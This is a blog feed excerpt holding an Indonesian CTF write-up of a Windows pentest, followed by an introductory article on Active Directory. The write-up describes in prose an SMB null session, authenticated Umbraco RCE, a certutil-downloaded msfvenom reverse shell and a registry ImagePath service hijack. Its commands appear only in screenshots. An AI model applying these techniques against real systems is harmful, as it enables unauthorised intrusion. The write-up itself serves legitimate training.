<p>Dimana sama dengan chall pentesting lainnya yang mengharuskan untuk membaca flag yang disimpan pada server yakni terletak pada user dan administrator directory, dan disini kita diberikan suatu IP address server jadi langsung lakukan reconnaissance untuk phase awal</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="660" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-110422-1024x660.png" alt="" class="wp-image-516" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-110422-1024x660.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-110422-300x193.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-110422-768x495.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-110422.png 1212w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Terdapat beberapa service yang open diantarannya ada HTTP dan SMB yang bisa kita jadikan untuk foothold atau pijakan awal sebelum melakukan exploitation, dan jika dibuka pada service HTTP terlihat terdapat default halaman setelah installation <em><strong>Umbraco CMS</strong></em> dan juga terdapat form login untuk authentikasi</p>



<figure class="wp-block-image size-large is-style-default"><img loading="lazy" decoding="async" width="1024" height="549" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-111632-1024x549.png" alt="" class="wp-image-522" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-111632-1024x549.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-111632-300x161.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-111632-768x411.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-111632-1536x823.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-111632.png 1557w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini kita tidak mempunyai valid credential untuk login, selanjutnya kita coba cek service berikutnya yaitu SMB server</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="837" height="251" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112238.png" alt="" class="wp-image-524" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112238.png 837w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112238-300x90.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112238-768x230.png 768w" sizes="auto, (max-width: 837px) 100vw, 837px" /></figure>



<p>Ternyata terdapat vulnerability <em><strong>SMB null session</strong></em> artinya SMB tersebut mengizinkan authentikasi tanpa credential jadi kita bisa akses sharename tanpa memasukkan username/password, dan jika diperhatikan ada sharename yang tidak biasa yaitu <em><strong>DataManager</strong></em></p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1021" height="288" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112649.png" alt="" class="wp-image-525" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112649.png 1021w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112649-300x85.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-112649-768x217.png 768w" sizes="auto, (max-width: 1021px) 100vw, 1021px" /></figure>



<p>Setelah diakses ditemukannya file XLS dengan nama <em><strong>member_account.xlsx</strong></em>, kemudian kita akan buka pada document viewer</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="689" height="216" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-113131.png" alt="" class="wp-image-526" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-113131.png 689w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-113131-300x94.png 300w" sizes="auto, (max-width: 689px) 100vw, 689px" /></figure>



<p>Dokumen XLS tersebut berisikan informasi sensitive dari member Bhineka Tech yang juga menampilkan user, passsword beserta keahlian yang dimiliki beberapa member tetapi uniknya user dengan ID 3 berbeda dari yang lain yakni user tersebut menggunakan email dan jika kita lihat lagi pada login Umbraco diatas terdapat placeholder pada input username yaitu <em><strong>&#8220;Your username is usually your email&#8221;</strong></em> yang mengindikasikan jika username berupa email address, langsung saja kita coba login</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="526" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-114259-1024x526.png" alt="" class="wp-image-527" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-114259-1024x526.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-114259-300x154.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-114259-768x394.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-114259-1536x788.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-114259.png 1855w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Berhasil masuk dashboard Administrator, dan langkah selanjutnya kita cek version dari CMS umbraco yang digunakan</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="687" height="459" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image.png" alt="" class="wp-image-528" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image.png 687w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-300x200.png 300w" sizes="auto, (max-width: 687px) 100vw, 687px" /></figure>



<p>Versi yang digunakan yaitu <em><strong>7.12.4</strong></em> dan jika kita melihat pada exploit database menggunakan searchsploit</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="141" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-1-1024x141.png" alt="" class="wp-image-529" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-1-1024x141.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-1-300x41.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-1-768x106.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-1-1536x211.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-1.png 1868w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Ada vulnerability pada Umbraco versi <em><strong>7.12.4</strong></em> yaitu Remote Code Execution / RCE dengan kategori Authenticated yang berarti harus mempunyai privilege minimal untuk masuk dashboard, karena sudah didapatkan sebelumnya sekarang kita mulai untuk tahapan exploitation</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="476" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-115247-1024x476.png" alt="" class="wp-image-530" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-115247-1024x476.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-115247-300x139.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-115247-768x357.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-115247.png 1114w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Terlihat berhasil melakukan code execution artinya exploit berhasil dan jika di inputkan beberapa command batch script dasar akan menampilkan output yang sesuai. </p>



<p>Karena tidak mungkin untuk melakukan command satu persatu dan bolak balik exploit jadi disini kita akan generate binary executable untuk reverse shell menggunakan msfvenom</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="149" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-2-1024x149.png" alt="" class="wp-image-532" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-2-1024x149.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-2-300x44.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-2-768x112.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-2.png 1133w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Karena casenya disini public server jadi kita melakukan generate binary reverse shell dengan listener yang di set ke IP VPS atau jika tidak mempunyai VPS bisa juga melakukan tunneling atau port forwarding menggunakan ngrok dan semacamnya</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="236" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-3-1024x236.png" alt="" class="wp-image-535" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-3-1024x236.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-3-300x69.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-3-768x177.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-3-1536x353.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-3.png 1873w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>sebelumnya aku sudah aktifkan python http server di port 8000 pada VPS  jadi disini kita tinggal download binary di server target menggunakan <em><strong>certutil </strong></em>yang akan disimpan didalam temporary directory dalam case windows ada di <em><strong>C:/windows/temp</strong></em>, kemudian kita execute binary jadi tinggal dipanggil full pathnya otomatis akan ter-eksekusi</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="758" height="287" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-121423.png" alt="" class="wp-image-536" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-121423.png 758w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-121423-300x114.png 300w" sizes="auto, (max-width: 758px) 100vw, 758px" /></figure>



<p>Reverse shell berhasil dengan listener di port 9999, selanjutnya kita baca user flag pada directory users dan dalam hal ini ternyata user yang ada diserver menggunakan username rama</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="723" height="354" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-5.png" alt="Gambar ini memiliki atribut alt yang kosong; nama berkasnya adalah image-4.png" class="wp-image-539" style="width:798px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-5.png 723w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-5-300x147.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-5-720x354.png 720w" sizes="auto, (max-width: 723px) 100vw, 723px" /></figure>



<p>User flag : <strong><em>&#8220;bhitech{KuL0_T14nG_J4W1}&#8221;</em></strong></p>



<p class="has-large-font-size"><em><strong>Privilege Escalation</strong></em></p>



<p>Selanjutnya kita diminta untuk membaca flag pada Administrator directory yang tentu saja akan access denied karena privilege user yang kita dapatkan merupakan Service Account yang tidak memiliki akses pada directory Administrator, jadi disini kita akan melakukan privilege escalation atau meningkatkan hak akses.</p>



<p>Sebenarnya ada banyak cara yang digunakan untuk enumeration pada tahapan post-exploitation pada windows sendiri, tapi disini kita akan automation saja menggunakan winpeas</p>



<p><a href="https://github.com/peass-ng/PEASS-ng/blob/master/winPEAS/winPEASexe/README.md">https://github.com/peass-ng/PEASS-ng/blob/master/winPEAS/winPEASexe/README.md</a></p>



<p>Jadi winpeas sendiri berfungsi untuk identifikasi service, component, kernel, scheduled task, registry dan lain lain jika terdapat suatu vulnerability ataupun misconfiguration yang bisa dimanfaatkan untuk melakukan Privilege Escalation</p>



<p>Download winpeas entah dengan menggunakan utility apapun bisa cURL ataupun certutil lalu jalankan</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="181" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-7-1024x181.png" alt="" class="wp-image-541" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-7-1024x181.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-7-300x53.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-7-768x136.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-7-1536x272.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-7.png 1690w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini ditemukan suatu service dengan nama BhitechService yang dimana Authenticated Users atau user dalam machine tersebut dapat melakukan full control pada registry yang dimana ini sangat berbahaya karena attacker bisa mengganti binary executable pada registry service tersebut dengan malicious atau executable berbahaya</p>



<p>Seknarionya disini kita akan melakukan generate ulang binary reverse shell menggunakan msfvenom dengan listener port 9000, lalu kita ubah <em><strong>ImagePath</strong></em> dari registry BhitechService dengan binary reverse shell yang kita buat jadi saat service di restart otomatis akan dieksekusi sebagai NT/System</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="460" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-8-1024x460.png" alt="" class="wp-image-542" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-8-1024x460.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-8-300x135.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-8-768x345.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-8-1536x690.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-8.png 1602w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Oke jadi disini menggunakan <em><strong>reg add</strong></em> yaitu command registry bawaan windows untuk replace binary ImagePath registry ke binary reverse shell yang kita buat, disini berhasil karena dari hasil enumeration dari winpeas Authenticated Users mempunyai full control pada registry BhitechService</p>



<p>Sekarang kita coba restart service menggunakan command <strong><em>net start BhitechService</em></strong> dan jangan lupa aktifkan netcat pada port 9000 yang kita buat tadi untuk dijadikan sebagai listener</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="611" height="183" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-124841.png" alt="" class="wp-image-543" style="width:815px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-124841.png 611w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-124841-300x90.png 300w" sizes="auto, (max-width: 611px) 100vw, 611px" /></figure>



<p>Untuk message dari output net start bisa dihiraukan yang terpenting kita berhasil mendapatkan shell sebagai <em><strong>NT/System</strong></em> atau privilege tertinggi pada windows machine</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="879" height="192" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-9.png" alt="" class="wp-image-544" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-9.png 879w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-9-300x66.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/image-9-768x168.png 768w" sizes="auto, (max-width: 879px) 100vw, 879px" /></figure>



<p>Sekarang kita baca flagnya pada directory Administrator</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="966" height="684" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-125034.png" alt="" class="wp-image-545" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-125034.png 966w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-125034-300x212.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/02/Screenshot-2025-02-03-125034-768x544.png 768w" sizes="auto, (max-width: 966px) 100vw, 966px" /></figure>



<p>Root flag : <em><strong>bhitech{G0tt_Acc3ss_adm1n_m4TuR_NuWun_s4ng3t}</strong></em></p>



<p>Challenge solved rek, dan untuk tambahan sebenarnya masih ada teknik privilege escalation lain yang bisa digunakan karena casenya disini kita mendapatkan akses ke service account dan mempunyai 2 privilege penting yaitu <em><strong>SeAssignPrimaryTokenPrivilege</strong></em> dan <em><strong>SeImpersonatePrivilege</strong></em> yang bisa dimanfaatkan untuk melakukan <em><strong>token impersonation</strong></em> dan mendapatkan akses ke NT/System karena terlalu panjang mungkin akan dibahas lain kali jadi itu saja semoga bermanfaat.</p>



<p></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/02/03/windows-pentesting-bhitech-write-up/">Windows Pentesting Bhitech &#8211; Write Up</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2025/02/03/windows-pentesting-bhitech-write-up/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Kenalan dengan Active Directory</title>
		<link>https://blog.bhineka-tech.org/2025/01/09/kenalan-dengan-active-directory/</link>
					<comments>https://blog.bhineka-tech.org/2025/01/09/kenalan-dengan-active-directory/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Thu, 09 Jan 2025 08:09:03 +0000</pubDate>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[operating system]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[red team]]></category>
		<category><![CDATA[Windows]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=494</guid>

					<description><![CDATA[<p>Halo jumpa lagi ya rek, semoga kalian sehat selalu. Nah jadi disini aku akan menjelaskan tentang Active Directory yang dimana akan dibahas secara teori dan untuk prakteknya kemungkinan akan aku buat di artikel selanjutnya tentang pentesting dan teknik serangan serta kerentanan pada Active Directory. Jadi apasih itu Active Directory ? mungkin banyak dari kalian ada [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/01/09/kenalan-dengan-active-directory/">Kenalan dengan Active Directory</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Halo jumpa lagi ya rek, semoga kalian sehat selalu. Nah jadi disini aku akan menjelaskan tentang Active Directory yang dimana akan dibahas secara teori dan untuk prakteknya kemungkinan akan aku buat di artikel selanjutnya tentang pentesting dan teknik serangan serta kerentanan pada Active Directory.</p>



<p>Jadi apasih itu Active Directory ? mungkin banyak dari kalian ada yang udah tau atau ada yang masih asing mendengar istilah Active Directory jadi daripada bingung ayo kita bahas</p>



<p>Active Directory ini bisa dikatakan suatu service berbasis direktori yang digunakan untuk mengelola resource dan infrastruktur dengan cara yang terstruktur. Maka dari itu Active Directory ini banyak di implementasikan pada perusahaan ataupun organisasi yang memiliki banyak komputer dan sumber daya karena menggunakan Active Directory ini memudahkan Administrator melakukan management maupun konfigurasi dengan cara terpusat/centralized.</p>



<p>Dalam Active Directory semua resource/sumber daya direpresentasikan menjadi suatu object dan object ini mencakup server, printer, komputer, domain, group dan user account. semua object ini akan dikelola oleh ADDS(Active Directory Domain Service) yang merupakan inti dari Active Directory itu sendiri. <em><strong>ADDS </strong></em>ini merupakan server yang mengatur semua konfigurasi dan rule/aturan resource pada jaringan didalam <em><strong>AD</strong></em> seperti keamanan, policy, permission dsb.</p>



<p>Lalu ada yang namanya <strong><em>Domain Controller</em></strong> yaitu merupakan server fisik atau computer yang menjalankan  service Active Directory, dengan kata lain <em><strong>Domain Controller</strong></em> ini bisa berupa hardware(server fisik) maupun virtual machine.</p>



<p>Dan tidak kalah pentingnya, pada active directory terdapat 2 konsep untuk identifikasi <em><strong>yaitu </strong></em>SPN dan <em><strong>UPN</strong></em>, gampangnya UPN itu merupakan identitas unik pada user dalam active directory yang berguna untuk mengenali dan identifikasi user contohnya &lt;username>@&lt;domain> atau xpl0dec@bhitech.corp sementara itu SPN digunakan untuk mengenali service / layanan pada Active Directory yang menggunakan kerberos(akan kita bahas nanti) dengan contoh &lt;service>/&lt;hostname>:&lt;port> atau MSSQL/bhitech:1433 disini kita mencontohkan dengan DB mssql dengan hostname bhitech di port 1433</p>



<p class="has-large-font-size"><strong>Cara Kerja Active Directory</strong></p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="691" height="481" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/ad.jpg" alt="" class="wp-image-499" style="width:827px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/ad.jpg 691w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/ad-300x209.jpg 300w" sizes="auto, (max-width: 691px) 100vw, 691px" /></figure>



<p>Dalam Active Directory untuk mengatur object object di dalamnya terdapat struktrur hierarki dimana struktur hierarki ini mencakup komponen penting diantarannya:</p>



<p><em><strong>Domain</strong></em> : Direpresentasikan sama dengan domain name yang ada pada internet dengan menggunakan .(titik) seperti abc.com, bhitech.corp tetapi pengertian lebih luasnya domain ini digunakan untuk mengelompokkan object pada Active Directory, seperti yang kita bahas sebelumnya object itu mencakup user, group, printer, computer dan sumber daya lain</p>



<p><strong>Organizational units</strong>(OUs) : OUs ini cukup kompleks karena digunakan untuk mengatur dan mengelola object object pada Active Directory, sebagai contoh sederhana pada sebuah perusahaan pastinya memiliki banyak departement dan kita ambil 2 sebagai contoh yaitu marketing dan IT jadi fungsi OUs ini akan membagi hak akses dimana setiap departement akan diberikan OU misalkan OU marketing hanya diberikan akses untuk mengelola ke service yang menyediakan penjualan dan pembelian sementara OU IT diberikan mengelola akses ke server maupun <strong><em>Domain Controller</em></strong></p>



<p><em><strong>Forest</strong></em> :  Forest ini merupakan gabungan dari satu atau lebih domain dan domain bisa saling terhubung dan berbagi resource seperti pada gambar diatas yaitu abc.com bisa sharing directory dengan xyz.com begitupun sebaliknya</p>



<p><strong><em>Tree</em></strong> : Pada gambar diatas tree bisa kita sebut sebagai subdomain yaitu hierarki domain yang menggunakan namespace yang sama seperti abc.com yang memiliki tree asia.abc.com</p>



<p><strong><em>Group Policy Objects (GPOs)</em></strong> : Merupakan suatu aturan pada active directory yang diberikan kepada user sebagai contoh kita bisa memaksa user mengganti password sebulan sekali atau password user harus lebih dari 8 karakter menggunakan <em><strong>GPOs</strong></em></p>



<p><strong><em>Global Catalog</em></strong> : Secara sederhana sebuah database yang menyimpan semua informasi terkait domain pada suatu forest</p>



<p><strong><em>Trust Relationship</em></strong> : Dimana kita ingin menghubungkan atau berbagi resource lintas domain dari forest yang berbeda</p>



<p class="has-large-font-size"><strong><em>Protokol dan Authentication</em></strong></p>



<p>Active Directory menggunakan banyak protocol untuk keperluan fungsionalitas, authentication maupun authorization diantara lain ada LDAP, SMB, RPC, kerberos. Dan disini untuk keperluan pentesting kita akan membahas beberapa protokol yang perlu kalian diketahui</p>



<p><em><strong>LDAP</strong></em>: LDAP(Lightweight Directory Access Protocol) sendiri merupakan suatu protokol yang dipakai untuk mengakses dan mengelola data pada active directory </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="512" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/what-is-ldap-how-does-it-work-1024x512.png" alt="" class="wp-image-501" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/what-is-ldap-how-does-it-work-1024x512.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/what-is-ldap-how-does-it-work-300x150.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/what-is-ldap-how-does-it-work-768x384.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/what-is-ldap-how-does-it-work.png 1200w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Jadi saat user atau service akan berkomunikasi dengan Active Directory user tersebut perlu melakukan serangkaian query pada LDAP protocol yang didalam LDAP sendiri terdapat banyak informasi mengenai object yang disimpan oleh Active Directory dan dapat kita akses menggunakan LDAP query. LDAP menggunakan TCP connection dan port defaultnya yaitu <strong>389</strong> dan <strong>636</strong>(dengan tambahan SSL/TLS)  </p>



<p><strong><em>SMB</em></strong> : Protocol smb digunakan untuk berbagi data dan file antar server pada jaringan, jadi menggunakan SMB kita bisa sharing directory yang berguna agar server lain dapat mendownload/upload pada server yang menjalankan SMB dan port default SMB ada di 445 </p>



<p><strong>RPC</strong> : RPC atau Remote Procedure Call yang berfungsi untuk komunikasi antar object di jaringan yang pada Active Directory RPC berguna untuk meminta suatu layanan ke layanan pada server lain dalam domain. Secara konsep hampir mirip dengan REST API tapi dengan arsitektur yang berbeda yakni dalam RPC kita bisa melakukan fungsi pada server lain yang seolah olah bersifat local</p>



<p><em><strong>NTLM</strong></em> :  Windows New Technology LAN Manager merupakan suatu protokol yang digunakan untuk authentikasi pada operating system windows, dan sebenarnya NTLM ini protokol lama yang sekarang sudah digantikan oleh kerberos karena dianggap sudah usang dan memiliki masalah security tapi meskipun itu masih banyak digunakan hingga sekarang</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="887" height="608" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/NTLM-Authentication-Protocol.png" alt="" class="wp-image-502" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/NTLM-Authentication-Protocol.png 887w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/NTLM-Authentication-Protocol-300x206.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/NTLM-Authentication-Protocol-768x526.png 768w" sizes="auto, (max-width: 887px) 100vw, 887px" /></figure>



<p>Cara kerjanya cukup sederhana yang disebut <em><strong>Challenge-Response</strong></em> yaitu pertama client meminta authentikasi ke server dan jika authentikasi valid maka server melakukan response &#8220;challenge&#8221; berupa nonce(angka acak) yang kemudian dikirimkan kembali pada client lalu client me-response dengan hash dari challenge yang diberikan server serta di gabungkan dengan hash password dari client</p>



<p><em><strong>Kerberos</strong></em>: Kerberos sekarang ini sudah menjadi protocol authentikasi default pada Active Directory dan pada mekanismenya sendiri juga lebih kompleks</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="632" src="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/event-4771-kerberos-authentication-illustration-1024x632.jpg" alt="" class="wp-image-503" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2025/01/event-4771-kerberos-authentication-illustration-1024x632.jpg 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/event-4771-kerberos-authentication-illustration-300x185.jpg 300w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/event-4771-kerberos-authentication-illustration-768x474.jpg 768w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/event-4771-kerberos-authentication-illustration-1536x947.jpg 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2025/01/event-4771-kerberos-authentication-illustration-2048x1263.jpg 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Kita perlu mengerti beberapa istilah untuk memahami komunikasi kerberos pada gambar diatas yaitu terkait dengan ticketing yang sangat penting kita pahami sebagai pentester, beberapa istilah terkait:</p>



<p><strong><em>KDC</em></strong>(Key Distribution Center) : Merupakan komponen penting pada protocol kerberos yaitu bertindak sebagai service pihak ketiga yang terpercaya(trusted)</p>



<p><em><strong>AS(<strong>Authentication service</strong>)</strong></em> : Yaitu suatu layanan / service yang memvalidasi authentikasi client pada kerberos</p>



<p><em><strong>TGT</strong></em>(Ticket Granting Ticket) : Merupakan ticket yang dikeluarkan oleh kerberos jika authentikasi awal berhasil </p>



<p><em><strong>TGS</strong></em>(Ticket Granting Server) : Merupakan komponen pada authentikasi kerberos yang berfungsi mengeluarkan ticket untuk mengakses layanan tertentu</p>



<p>Setelah kita tau istilah-istilah penting pada kerberos sekarang kita bahas mekanisme protocolnya</p>



<ol class="wp-block-list">
<li>Client melakukan authentikasi kerberos dan meminta TGT ke AS</li>



<li>Jika valid maka AS akan menerbitkan TGT dan TGT diberikan pada client</li>



<li>Lalu client kembali melakukan request ST(Service Ticket) pada kerberos TGS dengan membawa TGT </li>



<li>jika TGT valid maka TGS akan memberikan ST pada client</li>



<li>ST(Service Ticket) ini kemudian dipakai untuk akses ke service tertentu pada active directory seperti file server, email dsb</li>
</ol>



<p class="has-large-font-size"><strong><em>Penutup</em></strong></p>



<p>Disini kita sudah belajar mengenai konsep Active Directory dan berguna untuk keperluan pentesting yang mungkin akan aku bahas pada artikel selanjutnya, dan yang perlu ditekankan disini yaitu memiliki fundamental tentang system atau arsitektur itu sangat penting sebelum kita melangkah ke sisi security dan keamanan apalagi topik yang kompleks seperti Active Directory ini jadi semoga saja artikel ini dapat mudah dipahami tentunya semoga bermanfaat juga dan happy hacking, sekian.</p>



<p><em>&#8220;Learning never exhausts the mind.&#8221;</em> <strong>-Leonardo da Vinci</strong></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2025/01/09/kenalan-dengan-active-directory/">Kenalan dengan Active Directory</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2025/01/09/kenalan-dengan-active-directory/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Bhitech Pentesting + Container Escape</title>
		<link>https://blog.bhineka-tech.org/2024/12/31/bhitech-pentesting-container-escape/</link>
